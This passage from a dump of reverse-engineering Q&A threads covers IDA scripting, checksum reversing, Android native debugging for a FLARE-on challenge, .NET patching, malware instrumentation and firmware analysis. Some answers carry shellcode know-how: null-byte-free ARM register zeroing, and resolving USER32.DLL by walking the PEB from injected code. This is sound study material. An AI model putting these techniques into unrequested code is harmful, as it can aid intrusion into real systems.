At this point, I believe the structure of the firmware is to blame (combination of bitness, lack of symbols and an obsolete but supported microprocessor), however I couldn't pinpoint the exact issue. For now, since I can use find_strings() to retrieve the offsets and then use MakeStr on strings with a certain length and the manually vetting the "real" strings.

\n

Final Remarks

\n

For posterity, I never really solved the issue, however I can confirm the underlying binary file was responsible for raising an exception in get_ascii_contents2. I've reloaded the same file, however as a raw binary file in one large segment and the function worked flawlessly.

\n", "Title": "IDAPython Strings constantly returns NoneType with str()", "Tags": "|ida|idapython|ida-plugin|", "Answer": "

This took some digging, however it appears you're hitting an interesting edge case that the original author of the scripts didn't consider.

\n\n

str(StringItem) calls the following code inside idautils.py;

\n\n
    def __str__(self):\n        return self._toseq(False)\n
\n\n

Which leads to _toseq in idautils.py;

\n\n
    def _toseq(self, as_unicode):\n        if self.is_2_bytes_encoding():\n            conv = idaapi.ACFOPT_UTF16\n            pyenc = \"utf-16\"\n        elif self.is_4_bytes_encoding():\n            conv = idaapi.ACFOPT_UTF8\n            pyenc = \"utf-8\"\n        else:\n            conv = idaapi.ACFOPT_ASCII\n            pyenc = 'ascii'\n        strbytes = idaapi.get_ascii_contents2(self.ea, self.length, self.type, conv)\n        return unicode(strbytes, pyenc, 'replace') if as_unicode else strbytes\n
\n\n

If we dig into the get_ascii_contents2 inside py_bytes.hpp method we see that this method could actually return a NoneType if get_ascii_contents2 fails;

\n\n
if ( !get_ascii_contents2(ea, len, type, buf, len+1, &used_size, flags) )\n{\n  qfree(buf);\n  Py_RETURN_NONE;\n}\n
\n\n

Essentially, the code is fine, however you should add a check or exception handling if a str(StringItem) returns the with a TypeNone since it is possible for this type of value to be returned.

\n\n

You could help debug further by providing what the hex data is at ea of 0x208e with the length of 8 as shown in your output;

\n\n
208e: len=8 type=3 index=0->\n
\n" }, { "Id": "11047", "CreationDate": "2015-10-07T07:19:41.333", "Body": "

I need to find relations last byte with others. Tried these solutions, but it didn't work.

\n\n

My tries:\n* When I write all datas as binary, 1's count not equal but last byte same for some datas.\n* When I sum all datas and divide by 3 or 4, it equals to last byte, but for future, maybe it's not stable.

\n\n

Bunch of data:

\n\n
FC 41 01 30 10 01 21 00 01 00 00 00 00 00 00 00 00 00 00 00 00 5B\nFC 41 01 30 10 01 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5C\n\nFC 41 01 30 10 01 24 00 00 00 0F 00 00 00 00 00 00 00 00 00 00 4A\nFC 41 01 30 10 01 24 00 00 00 0E 00 00 00 00 00 00 00 00 00 00 4B\nFC 41 01 30 10 01 24 00 00 00 0B 00 00 00 00 00 00 00 00 00 00 4E\nFC 41 01 30 10 01 24 00 00 00 07 00 00 00 00 00 00 00 00 00 00 52\nFC 41 01 30 10 01 24 00 00 00 06 00 00 00 00 00 00 00 00 00 00 53\nFC 41 01 30 10 01 24 00 00 00 01 00 00 00 00 00 00 00 00 00 00 58\nFC 41 01 30 10 01 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 59\n\nFC 41 01 30 10 01 22 00 00 01 00 00 00 00 00 00 00 00 00 00 00 5A\nFC 41 01 30 10 01 22 00 00 03 00 00 00 00 00 00 00 00 00 00 00 58\nFC 41 01 30 10 01 22 00 00 07 00 00 00 00 00 00 00 00 00 00 00 54\nFC 41 01 30 10 01 22 00 00 02 00 00 00 00 00 00 00 00 00 00 00 59\n\nFC 62 01 30 10 03 00 00 0D 00 00 AF 00 00 00 00 00 00 00 00 00 9E\nFC 62 01 30 10 03 00 00 0F 00 00 B2 00 00 00 00 00 00 00 00 00 99\nFC 62 01 30 10 03 00 00 10 00 00 B4 00 00 00 00 00 00 00 00 00 96\nFC 62 01 30 10 03 00 00 11 00 00 B6 00 00 00 00 00 00 00 00 00 93\nFC 62 01 30 10 03 00 00 11 00 00 B7 00 00 00 00 00 00 00 00 00 92\nFC 62 01 30 10 03 00 00 12 00 00 B9 00 00 00 00 00 00 00 00 00 8F\nFC 62 01 30 10 03 00 00 12 00 00 B8 00 00 00 00 00 00 00 00 00 90\nFC 62 01 30 10 03 00 00 13 00 00 BA 00 00 00 00 00 00 00 00 00 8D\nFC 62 01 30 10 03 00 00 14 00 00 BD 00 00 00 00 00 00 00 00 00 89\nFC 62 01 30 10 03 00 00 15 00 00 BE 00 00 00 00 00 00 00 00 00 87\nFC 62 01 30 10 03 00 00 16 00 00 C0 00 00 00 00 00 00 00 00 00 84\nFC 62 01 30 10 03 00 00 1C 00 00 D0 00 00 00 00 00 00 00 00 00 6E \n
\n\n

Thank you,

\n\n

M.

\n", "Title": "Reversing checksum calculation of embedded communication", "Tags": "|decryption|serial-communication|packet|crc|", "Answer": "

If you ignore the first constant byte (FC), all the other bytes add up to 00, ignoring overflow.

\n\n

In other words, to calculate the last byte, start with 00, subtract all bytes except the first FC (and the last one, obviously). Ignore underflow. The result is the last byte. Or, if that's easier in your programming language, start with 2000 (8192 decimal), subtract all bytes, and AND the result with FF.

\n" }, { "Id": "11049", "CreationDate": "2015-10-07T11:58:56.907", "Body": "

I'm trying to solve FLARE-on 2015 challenge #06 (http://www.flare-on.com/files/2015_FLAREOn_Challenges.zip) using a dynamic analysis approach. It's an Android APK that loads a shared library (libvalidate.so). I have been able to break where this library is loaded but then, it seems that I'm not able to set other breakpoints within this library, which is critical to solve this challenge.

\n\n

Here is what I've been able to do so far:

\n\n

*Started the FLAREON android application (PID: 1278) on my Android Virtual Device (AVD) and entered a wrong password to force libvalidate.so to appear in the loaded shared libraries

\n\n

*Port forwarding:

\n\n
mobisec $ adb forward tcp:1234 tcp:1234\nmobisec $ adb shell\navd # cd /data/\navd # ./gdbserver :1234 --attach 1278\nAttached; pid = 1278\nListening on port 1234\n
\n\n

*On Mobisec, in another terminal:

\n\n
mobisec # cd /opt/mobisec/Android/ndk/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/\nmobisec # ./arm-linux-androideabi-gdb\n(gdb) target remote :1234\nRemote debugging using :1234\n0xb6eca5cc in ?? ()\n(gdb) set solib-search-path /data/flareon/system_lib/\n[...removed...]\nReading symbols from /data/flareon/system_lib/libvalidate.so...(no debugging symbols found)...done.\nLoaded symbols for /data/flareon/system_lib/libvalidate.so\n[...removed...]\n\n(gdb) info sharedlibrary \nError reading attached process's symbol file.\ncom.flare_on.flare: No such file or directory.\nFrom        To          Syms Read   Shared Object Library\n[...removed...]\n0xab137e20  0xab139038  Yes (*)     /data/flareon/system_lib/libvalidate.so\n(gdb) \n(gdb) x/50i 0xab137e20\n   0xab137e20:  ldr     r0, [pc, #4]    ; 0xab137e2c\n   0xab137e24:  add     r0, pc, r0\n   0xab137e28:  b       0xab137da8\n   0xab137e2c:  ldrdeq  r4, [r0], -r4   ; <UNPREDICTABLE>\n   0xab137e30:  cmp     r0, #0\n   0xab137e34:  push    {r3, lr}\n   0xab137e38:  popeq   {r3, pc}\n   0xab137e3c:  blx     r0\n   0xab137e40:  pop     {r3, pc}\n   0xab137e44:  mov     r1, r0\n   0xab137e48:  ldr     r2, [pc, #12]   ; 0xab137e5c\n   0xab137e4c:  ldr     r0, [pc, #12]   ; 0xab137e60\n   0xab137e50:  add     r2, pc, r2\n   0xab137e54:  add     r0, pc, r0\n   0xab137e58:  b       0xab137d9c\n   0xab137e5c:  andeq   r4, r0, r8, lsr #3\n   0xab137e60:                  ; <UNDEFINED> instruction: 0xffffffd4\n   0xab137e64 <Java_com_flareon_flare_ValidateActivity_validate>:       push    {r4, r5, r6, r7, lr}\n   0xab137e66 <Java_com_flareon_flare_ValidateActivity_validate+2>:\n    ldr r4, [pc, #320]  ; (0xab137fa8 <Java_com_flareon_flare_ValidateActivity_validate+324>)\n   0xab137e68 <Java_com_flareon_flare_ValidateActivity_validate+4>:     adds    r5, r0, #0\n   0xab137e6a <Java_com_flareon_flare_ValidateActivity_validate+6>:     movs    r1, #0\n   0xab137e6c <Java_com_flareon_flare_ValidateActivity_validate+8>:     add     sp, r4\n   0xab137e6e <Java_com_flareon_flare_ValidateActivity_validate+10>:    str     r2, [sp, #8]\n   0xab137e70 <Java_com_flareon_flare_ValidateActivity_validate+12>:    add     r0, sp, #120    ; 0x78\n   0xab137e72 <Java_com_flareon_flare_ValidateActivity_validate+14>:\n[...removed...]\n(gdb) b Java_com_flareon_flare_ValidateActivity_validate\nBreakpoint 1 at 0xab137e74\n(gdb) c\nContinuing.\n
\n\n

At this stage, the android application runs in my emulator and I'm able to provide a string in the text field. When I click on the \"Validate\" button, the application freezes because the BP is reached:

\n\n
Breakpoint 1, 0xab137e74 in Java_com_flareon_flare_ValidateActivity_validate () from /data/flareon/system_lib/libvalidate.so\n
\n\n

But from here, I haven't found how I can continue to debug because all of my attempts fail:

\n\n
(gdb) x/10i $pc\n=> 0xab137e74 <Java_com_flareon_flare_ValidateActivity_validate+16>:    bl      0xab138f08\n   0xab137e78 <Java_com_flareon_flare_ValidateActivity_validate+20>:\n    ldr r1, [pc, #308]  ; (0xab137fb0 <Java_com_flareon_flare_ValidateActivity_validate+332>)\n   0xab137e7a <Java_com_flareon_flare_ValidateActivity_validate+22>:    movs    r2, #92 ; 0x5c\n   0xab137e7c <Java_com_flareon_flare_ValidateActivity_validate+24>:    add     r0, sp, #28\n   0xab137e7e <Java_com_flareon_flare_ValidateActivity_validate+26>:    add     r1, pc\n   0xab137e80 <Java_com_flareon_flare_ValidateActivity_validate+28>:    bl      0xab138f18\n   0xab137e84 <Java_com_flareon_flare_ValidateActivity_validate+32>:    ldr     r1, [r5, #0]\n   0xab137e86 <Java_com_flareon_flare_ValidateActivity_validate+34>:    movs    r3, #169        ; 0xa9\n   0xab137e88 <Java_com_flareon_flare_ValidateActivity_validate+36>:    lsls    r3, r3, #2\n   0xab137e8a <Java_com_flareon_flare_ValidateActivity_validate+38>:    ldr     r3, [r1, r3]\n(gdb) step\nSingle stepping until exit from function Java_com_flareon_flare_ValidateActivity_validate,\nwhich has no line number information.\n
\n\n

Can you please help? Many thanks in advance for your feedback.

\n\n

Post comment edit:

\n\n

Thank you for the clarifications regarding the step (step out) vs si (step in) commands, very useful indeed. Maybe the initial post was lacking from clarity. What I would like to do is actually create another breakpoint later in the code but it seems to fail, as depicted below:

\n\n
(gdb) b Java_com_flareon_flare_ValidateActivity_validate\nBreakpoint 1 at 0xab143e74\n(gdb) c\nContinuing.\n\nBreakpoint 1, 0xab143e74 in Java_com_flareon_flare_ValidateActivity_validate () from /data/flareon/system_lib/libvalidate.so\n(gdb) x/20i $pc\n=> 0xab143e74 <Java_com_flareon_flare_ValidateActivity_validate+16>:    bl      0xab144f08\n   0xab143e78 <Java_com_flareon_flare_ValidateActivity_validate+20>:\n    ldr r1, [pc, #308]  ; (0xab143fb0 <Java_com_flareon_flare_ValidateActivity_validate+332>)\n   0xab143e7a <Java_com_flareon_flare_ValidateActivity_validate+22>:    movs    r2, #92 ; 0x5c\n   0xab143e7c <Java_com_flareon_flare_ValidateActivity_validate+24>:    add     r0, sp, #28\n   0xab143e7e <Java_com_flareon_flare_ValidateActivity_validate+26>:    add     r1, pc\n   0xab143e80 <Java_com_flareon_flare_ValidateActivity_validate+28>:    bl      0xab144f18\n   0xab143e84 <Java_com_flareon_flare_ValidateActivity_validate+32>:    ldr     r1, [r5, #0]\n   0xab143e86 <Java_com_flareon_flare_ValidateActivity_validate+34>:    movs    r3, #169        ; 0xa9\n   0xab143e88 <Java_com_flareon_flare_ValidateActivity_validate+36>:    lsls    r3, r3, #2\n   0xab143e8a <Java_com_flareon_flare_ValidateActivity_validate+38>:    ldr     r3, [r1, r3]\n   0xab143e8c <Java_com_flareon_flare_ValidateActivity_validate+40>:    adds    r0, r5, #0\n   0xab143e8e <Java_com_flareon_flare_ValidateActivity_validate+42>:    ldr     r1, [sp, #8]\n   0xab143e90 <Java_com_flareon_flare_ValidateActivity_validate+44>:    movs    r2, #0\n   0xab143e92 <Java_com_flareon_flare_ValidateActivity_validate+46>:    blx     r3\n   0xab143e94 <Java_com_flareon_flare_ValidateActivity_validate+48>:    subs    r6, r0, #0\n   0xab143e96 <Java_com_flareon_flare_ValidateActivity_validate+50>:\n    beq.n       0xab143eac <Java_com_flareon_flare_ValidateActivity_validate+72>\n   0xab143e98 <Java_com_flareon_flare_ValidateActivity_validate+52>:    bl      0xab144f28\n   0xab143e9c <Java_com_flareon_flare_ValidateActivity_validate+56>:    cmp     r0, #46 ; 0x2e\n   0xab143e9e <Java_com_flareon_flare_ValidateActivity_validate+58>:\n    bhi.n       0xab143eac <Java_com_flareon_flare_ValidateActivity_validate+72>\n   0xab143ea0 <Java_com_flareon_flare_ValidateActivity_validate+60>:    movs    r2, #0\n(gdb) b 0xab143e80\nFunction \"0xab143e80\" not defined.\nMake breakpoint pending on future shared library load? (y or [n]) y\nBreakpoint 2 (0xab143e80) pending.\n
\n\n

As you can see, when I try to set a second BP at 0xab143e80, it says the function is not defined. Even if I force the creation of this BP, it is never reached.

\n\n

My question is: once I am at the 1st breakpoint, how can I set another breakpoint (say for example at 0xab143e80)?

\n", "Title": "Breakpoint to debug Android Native Shared Library", "Tags": "|android|shared-object|", "Answer": "

Answer to your first question

\n\n

Googling for gdb step yields https://sourceware.org/gdb/onlinedocs/gdb/Continuing-and-Stepping.html as the first result. From that page:

\n\n
\n

Warning: If you use the step command while control is within a\n function that was compiled without debugging information, execution\n proceeds until control reaches a function that does have debugging\n information. Likewise, it will not step into a function which is\n compiled without debugging information. To step through functions\n without debugging information, use the stepi command, described below.

\n
\n\n

Since the binary likely wasn't compiled with debugging information, you need to use stepi instead of step, as @guntram-blohm suggested in his comment above.

\n\n

Answer to your second question

\n\n

b 0xab143e80 is not the correct syntax to set a breakpoint on an address; you need to use b *0xab143e80.

\n\n

Please refer to https://sourceware.org/gdb/onlinedocs/gdb/ for further questions on gdb usage and command syntax.

\n" }, { "Id": "11051", "CreationDate": "2015-10-07T15:14:02.710", "Body": "

I want to learn to Reverse Engineer iOS Apps. I know exactly what I need to do and I've got almost everything set up. My iPhone is jailbroken, I have installed OpenSSH to SSH into the iPhone from my Mac and installed Cycript, otool and Clutch. Now the only thing holding me back is getting an Interactive Disassembler. Could you point me in the right direction of an IDA I could use on my Mac laptop that would feature most things and is very efficient?

\n\n

Thanks.

\n", "Title": "Reverse Engineering iOS Apps on a Mac OS X", "Tags": "|ida|disassemblers|", "Answer": "

very pleased to be able to answer this question.\nApple app are encrypted private account, you need to use dumpdecrypted decrypt it prior to analysis.

\n" }, { "Id": "11054", "CreationDate": "2015-10-07T22:14:34.060", "Body": "

Are there techniques for patching .net executables in memory? Let's say we've have a .net dll/exe, we identified what method we want to patch and what IL to replace the existing code with. Executing this on the binary file is easy (let's assume it does not have a strong name for simplicity). But what if we want to leave the file intact? Is it possible to make the patch in-memory? Maybe it is possible to write an exe loader that would intercept dll loading and re-write IL on the fly somehow?

\n\n

The problem is that once the code is in memory it is no longer IL, but natively compiled, and thus, our knowledge of what method we want to patch with which IL does not help us a lot. So it looks like doing this during load time is the only way which might allow us not modifying the original files on disk. Is this possible?

\n\n

Note: I'm especially interested in the case where the main program executable is not .net, but native, which loads .net dlls, such as in case with Unity3D player.

\n", "Title": "In-memory patching of .net code", "Tags": "|memory|patching|.net|", "Answer": "

Low-level details and implementation for patching and intercepting .NET code at runtime: http://www.ntcore.com/files/netint_injection.htm

\n\n

High-level details and implementation for patching and intercepting .NET code at runtime: http://www.codeproject.com/Articles/16359/MethodLogger-Hook-into-method-calls-in-NET-binarie

\n" }, { "Id": "11057", "CreationDate": "2015-10-08T10:24:28.663", "Body": "

Is there any kind of IDAPython/IDC function, i.e. a programmatic method, that allows you to simulate this?

\n

Structures -> Insert -> Add standard structure

\n", "Title": "Adding automatically standard structs or enums", "Tags": "|ida|idapython|", "Answer": "

For enums you can use the AddEnum(idx, name, flag) function to create an enum inside an IDC script or Python script. This returns an enum_id which you can then use to create symbolic constant using AddConstEx(enum_id, name, value, bmask).

\n\n

After this you can then get the constant for the enum using the same enum_id GetConstEx(enum_id, value, serial, bmask). This will return a const_id which can be used to set a repeatable comment for that value in the enum using SetConstCmt(const_id, cmt, repeatable).

\n\n

A short example of using this all together can be seen in this script I use;

\n\n
def create_enum(enum_name, member_infos, offset, increment):\n   return_id = AddEnum(-1, enum_name, 0x1100000);\n\n    if return_id == BADADDR:\n        error('Unable to create enum : %s' % enum_name)\n        return return_id\n\n    for member_info in member_infos:\n        debug(\"Attempting to create enum member and comment : %s.%s -> %s\" % (enum_name, member_info[0], member_info[1]))\n\n        if AddConstEx(return_id, member_info[0], offset, -1) == 0:\n            const_id = GetConstEx(return_id, offset, 0, -1)\n\n            if const_id == -1:\n                debug('Unable to get constant id for : %s.%s' % (enum_name, member_info[0]))\n\n            else:\n                if SetConstCmt(const_id, member_info[1], 1):\n                    debug('Enum value created : %s.%s' % (enum_name, member_info[0]))\n\n                else:\n                    error('Enum value failed to have comment set : %s.%s' % (enum_name, member_info[0]))\n\n                offset += increment\n        else:\n            error('Unable to create enum member : %s.%s' % (enum_name, member_info[0]))\n            return -1\n\n    info('Finished creating enum : %s' % enum_name)\n    return return_id\n
\n\n

This would be used as follows;

\n\n
enum_to_create = [\n    ('enum_1', 'enum1 comment'),\n    ('enum_2', 'enum2 comment'),\n    ('enum_3', 'enum3 comment'),\n    ('enum_4', 'enum4 comment'),\n    ('enum_5', 'enum5 comment')\n]\n\ncreate_enum('enum propername', enum_to_create, -0x8, 0x4)\n
\n\n

As for the structures, it would appear you would go a similar route though using the structure commands like AddStructEx(index, name, is_union) and SetStrucName(sid, name), etc.

\n" }, { "Id": "11065", "CreationDate": "2015-10-09T08:06:19.177", "Body": "

I am developing a dynamic instrumentation tool using Intel PIN to analyze malware binaries in windows. From what I have learned so far is that I am able to use the tool with programs I write using C/C++.

\n\n

My question is that, will the tool developed using PIN and C/C++, work fine for binaries developed in other languages? Or are there any special care I needed to be taken to analyze binaries developed in other languages?

\n", "Title": "Binary Instrumentation of malware binaries?", "Tags": "|binary-analysis|instrumentation|pintool|", "Answer": "

Yes, your Pintool written in C/C++ works fine for binaries (of x86 or x86-64 instruction set) generated from compilers of other languages. You can see this quotes in the file README of any Pin distribution

\n\n
... the [instrumented] application can use any compiler.\n
\n\n

Personally, I have used Pin to instrument binaries compiled by OCaml compiler (so the source code is OCaml).

\n" }, { "Id": "11067", "CreationDate": "2015-10-09T12:10:16.680", "Body": "

I have VR2 Joystick and I want to hack it. What I think is that, to determine analog voltage of joystick outpin and to mimic this values in Arduino with AnalogWrite function. I tried measure analog voltage of joystick pins but I cannot record this values. Is there any way to find x, y position of joystick? Actually, I don't know whether is this method is correct. Because, values can mislead, maybe. Is there another way you know, you apply?

\n\n

Thanks in advance.

\n", "Title": "How to get x and y position from joystick?", "Tags": "|hardware|arduino|", "Answer": "

You might be interested in this forum post where people have already interfaced your joystick to an arduino. It also has a link to the specifications of a similar joystick, including a data sheet.

\n\n

Note that each direction uses 2 hall effect sensors, whose outputs correspond, and you should read both of them and compare them. Only if their sum is a constant value, +/- a few percent, can you assume that both of them work. Or, if you want to emulate the joystick in an existing circuit, you'll have to provide both values to \"fool\" the existing logic.

\n\n

Also, please not that the standard Arduino AnalogWrite function doesn't do a true analog write; instead, it sets the output to a PWM (pulse width modulation) signal with a duty cycle ratio that corresponds to the AnalogWrite written value. This is \"analog\" enough to control the brightness of a LED, but won't work with anything that requires a true analog signal. In order to produce a true analog signal, you'll need to use an Arduino Due or Arduino Zero, which have 2 resp. 1 true analog output signal (which isn't enough if you want to simulate the 4 hall sensors that the joystick has), so you'll need a 4-channel digital to analog converter with an arduino library, something like this.

\n\n

If you seriosly consider starting a project, i'd strongly recommend you get a digital oscilloscope that will allow you to check the real voltages on both your joystick and your simulation.

\n" }, { "Id": "11080", "CreationDate": "2015-10-11T06:36:10.773", "Body": "

Assuming the standard VC++ vTable layout:

\n\n
  Heap-Addr           TableAddr\n+-----------+       +-----------+\n| TableAddr | ----> | Funcion-1 | ----> Exec region of module\n+-----------+       +-----------+\n| a         |       | Funcion-2 | ----> Exec region of module\n+-----------+       +-----------+\n| b         |       | Funcion-3 | ----> Exec region of module\n+-----------+       +-----------+\n| c         |       |    ...    |\n+-----------+       +-----------+\n
\n\n

Is TableAddr guaranteed to always be inside a module or can it be anywhere in the address space, if so, what are the conditions that would make TableAddr be outside a module.

\n\n

For clarity: A module is any .exe or .dll which has read-only or executable regions of memory allowing functions to be called. From my experience I've only seen TableAddr reside inside read-only sections of modules.

\n", "Title": "Are vTable pointers always located inside a module?", "Tags": "|windows|c++|memory|vtables|", "Answer": "

I believe that it is possible for both

\n\n\n\n

The first will happen if you have a base class (with at least 1 virtual method) exported from a DLL and a class deriving from this in an executable (which will import the DLL.)

\n\n

When a derived class object is constructed in the exe module, it will first be constructed as a base class object (by calling the base constructor in the DLL) and so the vtable pointer for the object will point into the DLL module. This will only be for a very short period of time as, soon after, the derived class constructor in the executable will update the object's vtable pointer to point to the derived class vtable which will be in the executable module.

\n\n

The second can happen if the derived class doesn't override all the base class virtual methods. For these methods, the correct implementation will be the base class methods residing in the DLL. Hence, the relevent vtable entries will need to end up at the methods in the base class DLL. This will probably be via an import stub function in the executable itself.

\n" }, { "Id": "11087", "CreationDate": "2015-10-12T16:46:18.563", "Body": "

Assuming I'm injecting a shellcode into a Windows GUI application, I know I could:

\n\n\n\n

This is the classic way and that's what I would do, however I'd like to know if there's a better/improved/faster/clever/different/smaller or simpler way to do this.

\n\n

Any ideas?

\n", "Title": "How to dynamically load address of USER32.DLL in shellcode?", "Tags": "|windows|shellcode|", "Answer": "

If user32.dll is already loaded in the process's address space (and I assume it is given that you said it's a Windows GUI application), you can walk the PEB_LDR_DATA structure in order to find the base address of user32.dll:

\n\n\n" }, { "Id": "11096", "CreationDate": "2015-10-13T11:11:23.817", "Body": "

I am trying to figure out how the bootloader of a TP-Link wr702n device (based on an AP121 MIPS board) starts the operation system (VxWorks 5.5.1). The bootloader is extracted from a firmware update file and is a binary (no ELF, PE,...). I am stuck with the next step. IDA Pro disassembles some functions but (I guess) it needs further information about the ROM start address, loading address, and offset to do it properly. Where can I find these information?

\n\n

I have no RE experience and I am doing this for fun/education. Any hints about further reading or next steps would be great.

\n", "Title": "Reverse Engineering MIPS Bootloader", "Tags": "|firmware|mips|hexrays|", "Answer": "

As you guessed correctly, you have to find out the correct starting address of the bootloader image. Based on the bootloader in the latest firmware image (TL-WR702N_V1_141203) I recommend you to try 0x80400000 as the start address.

\nAlthough I don't know a simple and exact method to calculate the start address I try to explain a little bit more how can you found this anyway.

\nYou can try the following techniques:\n

  • Identify function starts and pointers to the functions and try to match them. If you disassemble the whole binary, the function start addresses can be determined very accurately. So, you can collect the relative start addresses. In most of the binaries and bootloaders, after the code section you will find various data items such as pointers to functions. If you can identify some of these pointers, you can try to find the corresponding relative address.\n
  • You can find hints from the code itself. Although the bootloader uses relative branches, the data items are accessed with absolute addresses. In the figure, you can find the absoulte addresses as 0x804B7F10 and so on.
    \n\"enter\n
    \nBased on this address and the length of the code area (0x9B6A4) you may have intelligent guesses, such as 0x80400000 or 0x80408000 or similar.

    \n" }, { "Id": "11103", "CreationDate": "2015-10-14T08:12:22.740", "Body": "

    When I debug an application inside the IDA Debugger, sometimes I get referenced to a .debugxxx segment.

    \n\n

    What are those segment ?\nHeap allocations ?

    \n\n

    If so, why are they called .debug ?

    \n\n

    Also, even if I stop the debugger at the entrypoint of my application, there are already 3 or 4 .debug segments, at the beginning and at the end of the address space.

    \n\n

    What type of data do they contain ?

    \n\n

    I'm sorry for this post, but I could not find any concrete information anywhere else.\nIt has already been asked here, but I don't find that the replies were anwsering the question in the title.

    \n\n

    Thanks !

    \n", "Title": "What is the meaning of the \".debugxxx\" segments in IDA Debugger?", "Tags": "|ida|segmentation|", "Answer": "

    Generally, these are allocated regions within a debugged process. Some are heap related, some are internal to the OS's implementation, some can be pages allocated by another process that interacts with yours. \nThey are there because IDA needs to provide you with an interface to view memory as it's actually laid-out in memory, just like any other debugger.

    \n\n

    Integrating them with IDA's built-in segments facilities makes it easier to work with other components and third party plugins.

    \n\n

    They are dubbed .debug??? because these segments are part of the executable's debug environment. The numbers are just sequential and have no real meaning.

    \n\n

    P.S.\nA hint about those: IDA doesn't maintain them constantly updated, and you might sometime require IDA to rescan the memory of the debugged process to make sure your viewing the most recent memory snapshot. At least that was the case around IDA 6.6, it might have changed.

    \n" }, { "Id": "11114", "CreationDate": "2015-10-15T14:02:59.807", "Body": "

    I\u2019m trying to write some basic ARM shell code that loads up the r0 register with 0. I cannot use null characters. I can see that

    \n\n
    subs r2, r2, r2\n
    \n\n

    sets r2 to 0 without using any null bytes.

    \n\n

    However, any attempts to move r2 to r0, results in shell code that uses null bytes. Any advice on what I could do?

    \n", "Title": "ARM shellcode using r0 without null characters", "Tags": "|arm|shellcode|", "Answer": "

    Copy/pasted from the online disassembler:

    \n\n
    .data :00000000  e0522002 subs r2, r2, r2\n.data :00000004  e92d0104 push {r2, r8}       \n.data :00000008  e8bd0101 pop {r0, r8}\n
    \n\n

    Or, in thumb mode (the push/pop instructions are actually the same, seemingly being byte-swapped due to endianness):

    \n\n
    .data :00000000 1a92 subs r2, r2, r2\n.data :00000002 0104e92d stmdb r13!, {r2, r8}\n.data :00000006 0101e8bd ldmia.w r13!, {r0, r8}\n
    \n" }, { "Id": "11122", "CreationDate": "2015-10-16T10:44:52.897", "Body": "

    I am new to reverse engineering so this seems like a very basic issue, and still I was not able to find an answer to it myself yet. Hopefully someone can point me in the right direction.

    \n\n

    I am on Windows, I disassembled an exe file using \"PE Explorer\". For now, my process was to somehow, mostly by trial and error, identify the machine code steps I want to change in the dissasembly, then make the necessary change by opening the same exe in a hex editor, finding the same instruction and changing it there.

    \n\n

    (Side note here: This two step process is quite inefficient. Is there a program you can recommend where I can combine both steps in one go, or at least side by side?)

    \n\n

    While this has worked for me so far, I believe there must be a better way than doing this by trial and error and manually trying to identify the functions in the machine code. Is there? Particularly, is there a way to run a program (exe) and in parallel follow the steps in the dissasembly (ideally slowed down..)?

    \n\n

    Thank you.

    \n", "Title": "Follow steps in dissassembly after application start", "Tags": "|disassembly|windows|debugging|", "Answer": "
    \n

    Particularly, is there a way to run a program (exe) and in parallel\n follow the steps in the dissasembly (ideally slowed down..)?

    \n
    \n\n

    Yes, the type of tool you're describing is called a \"debugger\".

    \n\n

    Some popular debuggers for Windows are:

    \n\n\n\n

    There are plenty of others, but these are some of the most user-friendly.

    \n" }, { "Id": "11129", "CreationDate": "2015-10-17T16:19:42.960", "Body": "

    This is a very interesting challenge in which you need to reverse a firmware without knowing anything about the firmware format, or the architecture. It is highly likely that the architecture is something special, without any documentation at all (think about some military chips, for example).

    \n\n

    http://queue.acm.org/unprogramming.cfm

    \n\n

    I am looking at this, but stuck on what is the approach to this problem. Any ideas?

    \n", "Title": "Reverse unknown undocumented architecture - a tough challenge", "Tags": "|disassembly|firmware|", "Answer": "

    I recently started reverse engineering a firmware from a device for which I had not documentation other than the interfaces to it. The presentation provided in the previous answer is very helpful. I thought I would complement it with some of my experience from my current project.

    \n\n

    Strings

    \n\n

    My first step in any RE project is to extract the strings - both ASCII and Unicode. Sometimes, strings or IDA may not find everything, you may need to conduct a review of the hex code as some programs may have some uncommon encoding mechanism. While the presence of string may not provide you much in some cases, the absence of any string is a strong indication of compression or encryption. In my case, I was able to retrieve copyright notices containing information about some internal programs, along with a copyright notice for the real-time operating system included. Most helpful.

    \n\n

    Be careful with binwalk, which will often provide false positive for uncommon firmware. Don't rely on its output.

    \n\n

    Structure

    \n\n

    Many firmware will have a similar structure, i.e. some initialization, maybe an interrupt vector with a RESET interrupt at the beginning, then eventually jump to a bootstrapping section, which will load further components into memory. I found the bin2bmp tool useful to provide an overview of the contents. Note: if you use this tool in Windows, you will need the Python Imaging Library

    \n\n

    Additionally, each program within the firmware will have sections for code and data at least. The code section will be much larger than the data section, and from my experience, precedes the data section. Combined with the bin2bmp tool, you can start identifying code sections. Additional sections for heap, static variables and exception handling may be added.

    \n\n

    Functions

    \n\n

    Most developers will use C/C++ as their language, sometimes Assembly. When C/C++ is used, you can safely assume some instructions to occur fairly often. The presentation from Recon mention the RET instruction, which I found true. Furthermore, the function epilogs and prologs are often similar across the entire firmware. If you can have some statistics about the count of the instructions, you may be able to identify a particular byte/word/dword to the RET instruction. Afterwards, observe the 2-3 previous bytes/words and verify if they reoccur together across the code section, indicating you may have found the epilog of functions. You can use IDA in plain binary mode to search byte strings easily. Prologs of functions will often consist of a POP instruction to store the returning address or load arguments. The epilog usually contains a PUSH instruction prior to the RET. You can then attempt to locate online for instruction sets which have a POP/PUSH instruction corresponding to the byte/words you have identified. Consider endianness when analyzing the binary.

    \n\n

    Other resources:

    \n\n

    I'm including these documents I found useful on my project, which may help you as well:

    \n\n\n\n

    I'll be monitoring that question, as I'm eager to see what else can be done to understand firmwares with uncommon architectures.

    \n" }, { "Id": "11142", "CreationDate": "2015-10-20T10:29:27.817", "Body": "

    I have been playing around, searching for Strings

    \n\n
      \"Please wait!!!\"\n   \"Done!!\"\n
    \n\n

    Then I didn't find them in a Debugger so somebody suggested BinText can do the job, so I found this

    \n\n
     File pos Mem pos ID Text \n ======== ======= == ==== \n 0000000922E8 000000492EE8 0 Caption \n 00000009230A 000000492F0A 0 Checked \n 00000009232C 000000492F2C 0 SubMenuImages \n 000000092354 000000492F54 0 Default \n 000000092376 000000492F76 0 Enabled \n 000000092402 000000493002 0 ImageIndex \n 000000092426 000000493026 0 RadioItem \n 00000009244B 00000049304B 0 ShortCut \n 00000009246E 00000049306E 0 Visible \n  000000092490 000000493090 0 OnClick \n
    \n\n

    Here follows the troublesome strings

    \n\n
